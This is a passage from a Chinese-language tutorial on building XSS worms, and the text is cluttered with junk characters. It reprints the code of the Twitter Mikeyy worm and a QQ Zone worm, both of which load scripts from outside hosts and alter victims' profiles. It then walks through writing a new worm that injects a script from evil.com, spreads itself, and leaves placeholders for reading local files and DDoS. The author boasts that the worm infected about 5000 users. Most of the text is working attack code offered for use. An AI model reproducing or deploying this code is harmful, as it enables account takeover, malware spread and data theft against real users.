) R4 H3 `5 I1 Y/ X& \/ D1 W 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; % H2 d2 j$ s5 ?% u2 W! }
( ?) l! N: t; w) Q) W) B 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; ; R j( ?6 r! n1 O
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; 1 i% i7 `* u2 B
3 E4 R4 O- C4 |. C7 ~- K" I& D 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; / r5 z$ W* u' ~) i+ H: m
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; " N& ^8 g4 l# H
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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5 o2 e& ~4 i/ ~/ f- \ B* p& f D 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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0 c4 O- k. H2 J& `& ]6 `, R$ @ 26. var updateEncode=urlencode(randomUpdate[genRand]); 3 y+ @! q4 o( @- E$ v& \: s
' L, q$ ~/ _0 N) [* B6 ~# ?3 y$ w 27.
0 o( a$ Z% J; B1 A4 M. c
" E7 F( ^/ S' f" e4 c9 J3 _3 K8 A 28. var ajaxConn= new XHConn(); / h) p3 X/ g% i; q
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); " q* Z& n) G4 {3 w1 i: E. e9 p
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30. var _0xf81bx1c="Mikeyy"; 8 j T) p' U8 x# A" K' A- i
1 s+ A/ c+ D/ x4 |9 R& y) y 31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn(); 7 E3 O3 E3 U+ ]- `
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 5 |$ A8 `/ o9 l, W
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35. var XSS=urlencode(genXSS); ! \( C5 m2 G' x# o8 f
# g2 q3 L2 z9 ~ w/ N0 ^! M 36. var ajaxConn2= new XHConn();
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. C9 I, k: s) W2 H/ ?% W 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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% u" C" o8 ^# H. ~/ u* w 38. & ^+ h& u* g! D6 u( a7 `, e
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39. } ;
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40. setTimeout(wait(),5250);
6 x. o0 U; q9 m4 m! f$ R复制代码QQ空间XSSfunction killErrors() {return true;}
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( r) v- h. ^/ P: Jwindow.onerror=killErrors;7 j: G0 t# Y+ z6 {& G2 R
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) J- A; B- D! P' z! Fvar shendu;shendu=4;
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//---------------global---v------------------------------------------; `. b( G, C+ v+ j
1 s& S% }# w5 `* v. l//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?# U$ E4 ~1 I% n
7 [' b1 D/ d, Y( J: h( pvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";% E% z3 f: s6 l' m
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var myblogurl=new Array();var myblogid=new Array();
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( @7 M+ C$ x' r; ]2 m: i- _7 x _ var gurl=document.location.href;5 c+ k$ h! k$ U8 B" N4 e/ h2 H
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var gurle=gurl.indexOf("com/");
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0 z: O! q& G) J; X; |. K gurl=gurl.substring(0,gurle+3);
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8 e( j* I+ C5 h3 \ var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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( N, K# Z9 C/ c, k+ O visitorID=visitorID.substring(cookieS+14);3 n j R- r6 r4 N- ^1 d
3 i! N5 z2 Q- {5 H cookieS=visitorID.indexOf(",");
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9 d( z3 Y- V% J visitorID=visitorID.substring(0,cookieS);" D1 m5 s+ d" C' Q; ~! k( W7 m" t
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get_my_blog(visitorID);
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DOshuamy();
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% h; d, H6 x6 n- Z3 J1 ^
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, t1 s, _; k" D4 c7 _4 ^//挂马2 K! _) O( H" g& R! V2 |4 K$ o3 G
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function DOshuamy(){
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1 k o. a: ^, b/ | Q9 ]7 V$ @ ]; s* Dvar ssr=document.getElementById("veryTitle");* E4 N# A( z) _, X, p
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");) N+ T& J' w; q2 \7 I. x
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}
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% v2 E9 c* E) [5 h8 X: L5 `: {
+ ?5 U3 E |! |& Y% ^2 g( v1 y; W" s//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){2 ~6 ?, `3 n" ?. V
3 c B+ L7 U& c% R/ z" {+ z* m y userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象- Q* w% ?9 c, z' Z6 x
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if(xhr){ //成功就执行下面的
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% \& l' k2 h, H% L0 @ xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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; [6 p( x& m1 ?) }% A6 I xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数
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}
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! b. M6 g. U, O4 w6 h//这里似乎是判断没有登录的# ~7 g5 N& h4 ?. z- B0 J) y
% E! ?9 a5 ]0 V7 j5 M/ ^0 Ffunction get_my_blogurl(guest){
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% b$ Y' u+ z0 ~- ]6 b, q( M! a var mybloglist=guest;
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var myurls;var blogids;var blogide;
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( P# Y" ^3 B) |+ v for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了" x+ N1 S- l3 |/ d
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if(myurls!=-1){ //找到了就执行下面的
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) ^, C8 f- J; @4 \2 w: k mybloglist=mybloglist.substring(myurls+11); M8 {9 J" ]+ B8 x- N
0 [3 g8 a3 ^. V8 Z4 O; U myurls=mybloglist.indexOf(')');% N, I+ V) H2 A6 }4 k' F
1 o6 | o5 h9 m1 [$ d myblogid=mybloglist.substring(0,myurls);
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}else{break;}5 |. o5 W9 ` l. o7 B a/ U7 H
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get_my_testself(); //执行这个函数
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}
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* s5 i% q8 _7 n9 ]" @& x' r9 X! C3 X) v7 z
//这里往哪跳就不知道了. o8 R/ G. _4 y: i& a( Z7 V
5 X- v( \& l: s
function get_my_testself(){: M0 @- g7 }% P; n* m, `
; M! N" m2 V. y& J& M3 W- k9 E) W for(i=0;i<myblogid.length;i++){ //获得blogid的值
; g0 I* e0 h1 z- j) H# y2 n( ~! y5 b. S2 y# ]
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
) V: e6 d t5 ~$ `& m# L0 {
1 `) Y* G2 F4 H G5 P6 Y4 B6 j var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象# b Y5 W3 B- D4 M5 s `3 x8 w( r
w; [: W9 X5 D4 k4 }3 i M if(xhr2){ //如果成功
( L( k j2 |/ s6 y+ R7 F* j" z$ z6 v6 V, {
xhr2.open("GET",url,false); //打开上面的那个url1 L# t4 \/ ]7 H- q& z6 h% k) M
7 A1 y' E4 L0 \: Z V5 n
xhr2.send();
6 v9 }" r6 T" x# C: k* m: s0 d
, _: j% U4 J' h! T( X1 ? guest2=xhr2.responseText;
$ b9 C3 T9 a- q
/ L& n. I) ^7 ?' D7 |1 z4 F var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
) g* } R$ n0 U0 S& i
7 b. q# e# @8 ]% E var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
: R: w& W/ C" p/ |, x& V, Z
0 a& |2 M& W t; [7 ] s0 F1 l0 ?' u if(mycheckmydoit!="-1"){ //返回-1则代表没找到
' j1 l2 v2 F+ J4 R- O
3 @" `1 t4 @ j8 \4 a+ h2 B0 ? targetblogurlid=myblogid;
- Q: s, h& p$ j) C1 |7 A6 R5 O( t/ X, z' O6 V9 b) h' L, F
add_jsdel(visitorID,targetblogurlid,gurl); //执行它8 P5 N$ H3 I6 z- E% }
* H+ Y5 Q1 `/ g% P break;
& ]0 g" S9 t; R* e
7 v% q! X$ p3 p }
- H% p- M5 ~2 K) S5 I+ S& s2 h/ _% ?1 o7 u
if(mycheckit=="-1"){9 Y# P8 g: c& x* p! I, o% r4 I
" L: ?& M' Q) a0 a5 r targetblogurlid=myblogid;
# g2 L, e1 V$ j) r2 V% `0 B- @
% ?9 w6 @2 G: T add_js(visitorID,targetblogurlid,gurl); //执行它
/ U3 T$ |2 S! _2 R f
* h u5 T4 l) k8 u4 H7 v: Z break;
$ y6 r, \, T- \" t9 s
i1 R3 E& j3 K# y Q" u }6 X u0 s2 }; [" \ {* Q
/ W% t l3 ]+ ]: f- o } 3 L+ S: O8 K- G m
- q, \- Z7 N* g; O" w
}
+ T: Y, {6 s9 b, s2 S* P* g+ h7 \0 B5 }
}7 J8 P) @- T: q) S2 W
" z: s4 K% S- I: _% w: A. `: ?/ M. M0 e, W+ w$ b6 m& o
+ S \- N6 p5 i8 M8 L$ _
//--------------------------------------
; m. i" }8 D" q9 @7 @
1 W; V! a; q! O! g( Z//根据浏览器创建一个XMLHttpRequest对象
4 v7 F$ H- T$ P0 t1 ~, s7 B$ j6 d4 J8 a7 U7 P) @* T1 w' ]
function createXMLHttpRequest(){
4 W4 Y7 z! W/ m5 f$ I: O: p8 q5 |8 q2 {/ }+ K/ a
var XMLhttpObject=null;
9 o( c7 D$ V' @+ o8 z. M" B
0 }' A- e i+ a. m0 u3 r+ S if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
9 j3 U7 r& L W$ h" H5 i
2 ?5 i, S4 I% g0 } else
2 x' I2 E h1 D! i1 c
# c a- P# n+ M+ ~ { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; # v' q3 j6 I: |+ _' Y
4 u( h6 Y2 l6 ~4 U
for(var i=0;i<MSXML.length;i++)
2 E1 f! D8 q8 w9 k2 ?; N9 L/ l6 U, d. D, e1 ?; M
{ $ k) T( U2 G7 G1 r: B3 i
* y+ V+ k, @% L4 x/ [- i try
) B/ R. I/ U8 p/ B2 i' {: V5 i* I
. W. U: g- g% c$ q$ o# g/ @2 J+ G { 8 t( t) L9 W y
4 ]4 o s2 ?4 @1 y2 j0 ? XMLhttpObject=new ActiveXObject(MSXML);
9 J+ r. R! j B/ s/ D, B
: d7 X, O# ~* U break;
# F, E. z2 E# b( I* Y8 V/ `) S( q/ v" \+ s0 @0 R9 Q- W4 y2 p
}
9 X: v) H0 p: F1 f6 r# z: A# M" M5 M4 \& i4 \& U
catch (ex) {
+ N6 Q* B: d1 o, r9 j: R j; b m% K$ G
}
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0 |! M+ x# N* a$ ] }
# F( h3 o( g* h' X* Z8 V
- l8 w5 |3 t2 Y# S: ^; v }
0 f# `' G9 n" N0 {8 d' y" D
4 ~' u9 {- P4 J( J- ~return XMLhttpObject;
8 d8 h* N% k* ?3 n8 f+ X& y6 U
6 ]2 y" M- }! a9 I}
" A- q7 I/ g* _$ G; l
5 A, ]4 }! e( G$ S# b+ Q
' J5 J# N9 c. m- h2 V* T8 V' J" X
6 h) y6 b" Y: n7 d3 g; @1 [//这里就是感染部分了4 e- ?$ X1 H E6 {$ Y" v
' D" U1 f' d6 f' G4 J; t
function add_js(visitorID,targetblogurlid,gurl){+ F; \( L- e7 g
& C% o. j8 t4 A+ H
var s2=document.createElement('script');
4 c" ^- O6 f- }5 P' t; M/ O2 H# r9 j+ ^2 w5 E
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
: V3 t) Q: D& Y- u: Z$ `
( u( g! }/ ^! q! a( Is2.type='text/javascript';
/ V2 D/ J8 ^9 i3 }8 F7 V4 z' h* T# m8 i$ k' G. \9 g5 \' t
document.getElementsByTagName('head').item(0).appendChild(s2);* X& L% e/ ?- ?8 a6 n9 ^" O# F- y
3 F( m* }; T }9 w. B
}4 M. l. e( f, P* P! n+ F9 u9 e
1 K' Q$ x/ g9 M) s2 {* B7 r4 n8 ^2 J( J. x5 a
0 D/ O' O4 v4 H
function add_jsdel(visitorID,targetblogurlid,gurl){) I/ s' Q3 y4 n) |* J; \
/ R% j" w0 b2 k- C4 p
var s2=document.createElement('script');( O1 f& W# q" u. X% y% l' Y% `
7 K* U q' H7 s; B0 g% _& G" K" Us2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();/ g, r/ s+ J. C5 {) f9 m2 w
- v! p! `% j6 o8 F- ^s2.type='text/javascript';
) U$ f( K/ P4 C# w/ ?
+ b+ C! w" S# @% Ydocument.getElementsByTagName('head').item(0).appendChild(s2);: r1 H$ A, S! G' j8 X9 K9 t
% p5 M; r3 G0 ?: D( d}
+ Z9 E7 Z6 p- g6 o( e% m- V$ E复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
6 q' G9 i* Z, l+ ]+ T0 y- q1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)- u3 ^; T5 f! n/ J" _7 O7 H3 W s
' _/ t7 K9 M; a& R5 }: w' c ~. N( w
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
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综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
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4 C. K3 g; `$ Z, c' t+ W下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
+ o+ q" |& S+ r, ~- w* E$ h6 M$ k1 W4 r2 m0 u
首先,自然是判断不同浏览器,创建不同的对象var request = false;
% t0 L3 v3 y% Z) t
$ Q# P! _4 F! m8 o: Y( f/ g bif(window.XMLHttpRequest) {
]! h" J( e# D7 w/ p* [1 M/ |+ F- ]$ @, u* W' ]7 d5 ^/ D
request = new XMLHttpRequest();& b- F& f! b0 ^% j
0 o+ P4 c' ]5 Iif(request.overrideMimeType) {
5 {9 Y! r+ }5 \) a2 Y% R0 Q
0 y$ ]7 u4 M) n4 S! v8 \request.overrideMimeType('text/xml');
. v. i1 b' Z4 ?; K `' V& e. N1 W0 `1 d" E+ i' \: |9 i
}; b; j n; W4 \3 M
8 Z7 o9 \/ I1 i4 S( J" e. u
} else if(window.ActiveXObject) {
% s: D$ }! [% G1 v) f
0 }( |6 l0 K1 ]var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
0 r% ^) Z! ^8 v9 X2 w# @' ]: }5 x8 f& J1 u
for(var i=0; i<versions.length; i++) {! V+ ]6 }, Z Q) ~$ ~
( v* J/ _2 v0 `& w5 a/ u Utry {
1 b, s* J: v: _1 N2 |
. A7 x! u7 U- T# \# h4 ^ erequest = new ActiveXObject(versions);) O2 ~2 i6 j4 y* Z
y+ e& y2 |3 O( M} catch(e) {}/ q$ t R5 h) s
, i3 K, E8 N* B" W! e4 Y9 j
}( v9 ?% E, r1 \
% y4 d A( `4 ]9 e% Z7 i+ X0 Q}
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) H( @* T8 c" s$ z8 ^xmlHttpReq=request;% p# V, H7 Q6 C! U
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
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var Browser_Name=navigator.appName;' p/ H. e% D+ k) J
9 r% t1 m2 a3 k( V& E$ @ var Browser_Version=parseFloat(navigator.appVersion);7 V( U/ T1 V3 B9 ~ e( N+ R5 F
) f- n* S+ T9 s) t9 E& j" u var Browser_Agent=navigator.userAgent;1 C: c9 Q4 L( i* `
: B( p7 L% X [7 U2 Q C6 }, X
: y. w# U' Q/ \- {0 A/ U9 u
+ X9 _3 |$ [- V0 _! J# v: S6 X f var Actual_Version,Actual_Name;
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4 W% p' e, _( C% T% c
1 u) a& J$ o4 R var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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var is_NN=(Browser_Name=="Netscape");
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+ J+ Q( ]& {; I. P var is_Ch=(Browser_Name=="Chrome");+ J2 {6 Y' x7 \7 e# A
/ [/ |- n) i6 [
% r3 H; D9 F* w5 z0 |$ ^+ ^* p) |" w2 P7 k5 C$ s2 ]" J" w) J
if(is_NN){( ~9 I( U: c8 _ j8 L0 V
9 Y0 V' K% t7 w; H
if(Browser_Version>=5.0){/ w" t5 ?3 J" o' }7 C$ U9 Q
7 U# B3 z6 r9 V7 s$ `. Z7 S. Z
var Split_Sign=Browser_Agent.lastIndexOf("/");) Q1 s+ t/ A C+ p! F
; {( [" T( U# S. d7 Z var Version=Browser_Agent.indexOf(" ",Split_Sign);
3 g. {% ^: E" B% F
! R* J7 O* Y3 t% ^ var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);5 C0 `7 b u- J6 B! t0 j
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Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);+ D! L8 t! L3 }$ {
7 ?8 I7 h3 N( E+ [ Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
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3 U6 b( N& d4 `
else{! b( g4 ^5 g5 q
# O, i( I# @- Y' [ Actual_Version=Browser_Version;1 K$ E: `* q8 C3 E, h5 J
4 m5 j5 t, U) j! {) l# Q$ [
Actual_Name=Browser_Name;
+ s/ z+ {3 A* c: b( ?; i6 n1 R+ W( A' B- r
}
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# \: t6 ]0 r4 m) ?% g Y+ ]( l6 p0 a }8 b" b/ @" Z* ?6 a- y! @
5 x3 H4 X1 k9 H! r& a- a# a p else if(is_IE){" R* I; b1 V* t# M P, l6 m1 @/ }/ I
8 W+ t0 Y2 ^8 T+ v; H- {
var Version_Start=Browser_Agent.indexOf("MSIE");. F( ?% I$ z5 M
1 z. H( h* n( j% t0 ], M+ B var Version_End=Browser_Agent.indexOf(";",Version_Start);. E8 C! j& W+ F
; O( |3 Y! [2 @, u6 {3 K3 Y Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 h' u: K6 `. l) f
5 o1 i7 b( ~: o6 B Actual_Name=Browser_Name;
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0 w/ u- q' @! m7 e
if(Browser_Agent.indexOf("Maxthon")!=-1){) y) v D, q0 v" Z- F* U( @
& r- e' A3 P" e Actual_Name+="(Maxthon)";3 B5 ~5 n: y9 m8 n* S3 O
) A, H5 |3 ^% \8 |6 `" U }" N4 D- t, S4 X3 }6 T' c' b
+ s! g2 _+ k+ n) M/ I6 y/ i else if(Browser_Agent.indexOf("Opera")!=-1){
( }& n* N( r2 T' b, k
- b5 G- `& F: H Actual_Name="Opera";1 S# s: }% r( E- Q
5 w! x1 v' c$ W5 r) F. B2 p$ ]
var tempstart=Browser_Agent.indexOf("Opera");( D/ |- U! b- A: Z9 V' T9 f
1 y) z C0 y4 B7 o) d, c
var tempend=Browser_Agent.length;
* H6 x8 P3 q. |1 Y, f. y+ V
$ n% i$ o3 |) V+ j' f7 y+ h; y Actual_Version=Browser_Agent.substring(tempstart+6,tempend)% J) l. }/ K$ D& d7 }( e
2 U% t3 L, n) q# z* x! w5 K. f) W }
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}
9 ?, A2 t( N0 j7 q7 P: q! c" P
; \4 D% L$ c, @9 v; Z else if(is_Ch){
& s( p# h5 U y9 u! p" _3 J: I& a* H7 ?8 @
var Version_Start=Browser_Agent.indexOf("Chrome");
E `: H5 d! g- V x3 X
6 l! B& d7 t; |' _. f6 E var Version_End=Browser_Agent.indexOf(";",Version_Start);
4 M# _2 g6 Q9 P7 |9 m8 s
7 @3 q; X$ I+ X! N2 \ Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;
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m' o2 Z7 c! {% N0 s8 L
1 R8 k7 P7 K1 P! q+ B if(Browser_Agent.indexOf("Maxthon")!=-1){
; ~+ p) ^( d& s4 E( m: L( W$ W4 F3 D9 P% E' R, x$ Q q6 U
Actual_Name+="(Maxthon)";
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" G% m+ N$ B- O
else if(Browser_Agent.indexOf("Opera")!=-1){6 @, @* I; E" s6 t6 ?6 s8 A; o
; }6 v V }# C7 f% {1 u
Actual_Name="Opera";
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6 k- ~; S* W* A- H! y Y2 y: D3 u var tempstart=Browser_Agent.indexOf("Opera");
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var tempend=Browser_Agent.length;4 g' E6 Q/ g% F# U2 `
8 u' R% Y9 b' e# T W Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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8 I) f. z, d9 M }( k- Y' U2 }' G' Z0 H1 J% K( I) t
5 p/ Z5 q8 Q5 Z; w8 ]9 {
}
4 v! E; f% @- k* Y
& z4 M' O5 i6 f8 _! S$ k else{9 B0 S$ L) N7 `+ p% @( D7 p
- X9 _$ m" v' R# @3 W
Actual_Name="Unknown Navigator"
' ? L1 M3 |/ C: ]5 h) z, N& Y
+ L* X/ q# z8 m0 |) ^5 Q# x Actual_Version="Unknown Version"/ Q2 o5 a, B6 P0 ~
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}7 G5 }4 `( O3 }1 H+ Q
7 o3 Q5 A+ @2 m( l& f' E$ w7 S$ ^: e9 S% B
# X: V& s) m. m+ t y0 M# Y
navigator.Actual_Name=Actual_Name;( W9 y7 m0 r2 T! \( n6 }7 O
' j" T7 H) ]0 |
navigator.Actual_Version=Actual_Version;
9 ]: ~1 g3 ?8 I: h( \: I9 v: e$ f6 N+ d
$ Y; I# J+ Y# E. F, m0 {$ ]- v
# c m$ e2 [7 I( B this.Name=Actual_Name;
3 r; `1 m- O1 l2 D. k- P; u
; n6 Q# J) h4 n) } this.Version=Actual_Version;# F" E5 h v) |- @/ W r( b
9 ` |* x. k0 p% b2 M) n# w" d* }+ d( a }
q* M3 ]& b1 t+ E, f ]6 {! u' y! i: b! }) o- M+ z9 U8 s. r7 T4 j
browserinfo();
\0 D E* M a S. H6 }4 \2 x7 t# z/ C
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}* U, h& `" {- ?, B8 P
9 h( m ] p9 ?2 b) |5 n if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
+ Y9 I& N2 ?7 X
4 c& k. [, n6 H! V# {, E# `/ x7 r5 C if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}* e6 B6 j& T$ h, F& y
; c) t, c1 V6 `& m L- V B4 O
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
7 H+ n5 o1 [! I, |+ L复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
, g# [( D2 U2 C0 j1 M% t- N4 ^复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码$ F& k' n+ q% H& w
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.% F- N% S0 K. i# ~& K1 W+ q
. Z4 z3 Z" g5 U/ I/ E% txmlHttpReq.send(null);
' \5 e( D" X+ K- e [2 ^" N, u3 d. {' z7 L6 o0 ^7 p3 n0 y
var resource = xmlHttpReq.responseText;! |' S8 E- \" A; d" x+ m; F# t' W
7 H! y+ m( J) K1 b
var id=0;var result;( m! J; W2 J, C
9 O2 [! T9 x; J& P. R8 o
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.; `7 s, ?4 M. T
8 |& S: Q" I) u6 m# U N K: D% f" i
while ((result = patt.exec(resource)) != null) {6 S0 D9 r2 i; v" R
U" z) W' _4 C" Z" I8 Jid++;
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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5 w2 o+ j F8 |8 x0 ~% O; B }no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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3 P* l% b4 O: \" Wvar post="wd="+wd;6 L0 D1 V7 C( _7 r3 W
" Y' z# S* s K- }( s- NxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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6 T+ m* O& |% T2 exmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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b( T1 V# U" u |( NxmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{0 u5 O U& ]( A# {+ M( c5 k: N
4 }$ V4 [6 k( i; kvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.2 C2 L; L6 N: ] j1 q. ~/ N: r
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var post="wd="+wd; f8 T9 n4 U1 {$ l
1 Q; G* D. x$ R+ u) \1 D! lxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);. P4 j% K; I8 o7 b5 _3 L/ ]
l) }9 ^/ }4 {! I4 ^% l2 Y+ s. ?xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");$ j% E+ i4 P' n: D4 Q
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xmlHttpReq.send(post); //把传播的信息 POST出去.$ w) H/ i$ X4 i+ Y2 C
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2 b* Y$ t* \5 P, A复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.# i+ I' i8 R+ l" @' y
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
3 u& P1 a1 x" U% P操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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+ P1 f; q0 E& z V1 h1 u本文引用文档资料:# ~4 I* Z. S( Y, ~
5 a" _0 Z; j3 e. R. k6 G"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
% ~) h' t! P. b7 hOther XmlHttpRequest tricks (Amit Klein, January 2003)8 u; \) z& A0 S- h0 J, |
"Cross Site Tracing" (Jeremiah Grossman, January 2003). J& m/ [7 H# g* h
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
# P" M3 ]' a: `空虚浪子心BLOG http://www.inbreak.net- a* l! h# G( [/ s. ~
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